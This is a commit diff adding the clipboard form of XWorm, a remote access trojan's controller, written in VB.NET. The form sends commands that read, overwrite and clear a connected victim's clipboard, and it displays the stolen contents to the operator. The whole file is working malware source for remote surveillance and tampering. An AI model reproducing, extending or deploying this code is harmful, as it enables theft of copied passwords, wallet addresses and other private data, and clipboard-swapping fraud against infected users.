initial commit

XWorm/Forms/Clipboard.vb

@@ -0,0 +1,59 @@
+Imports System.Threading
+Public Class Clipboard
+
+    Public C As Client
+    Private Sub CB_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Clipboard()
+    End Sub
+
+    Public Sub Clipboard()
+        Dim B As Byte() = SB("GetClipboard")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
+        Try
+            If Not C.IsConnected Then
+                Close()
+            End If
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked
+        Try
+            Process.Start(e.LinkText)
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub Clipboard_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
+        Dim B As Byte() = SB("CloseClipboard")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub GetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetTextToolStripMenuItem.Click
+        Clipboard()
+    End Sub
+
+    Private Sub SetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SetTextToolStripMenuItem.Click
+        Dim B As Byte() = SB("SetClipboard" & SettingsHelper.SPL & RichTextBox1.Text)
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
+        Try
+            Windows.Forms.Clipboard.SetText(RichTextBox1.SelectedText)
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
+        RichTextBox1.Clear()
+        Dim B As Byte() = SB("ClearClipboard")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+End Class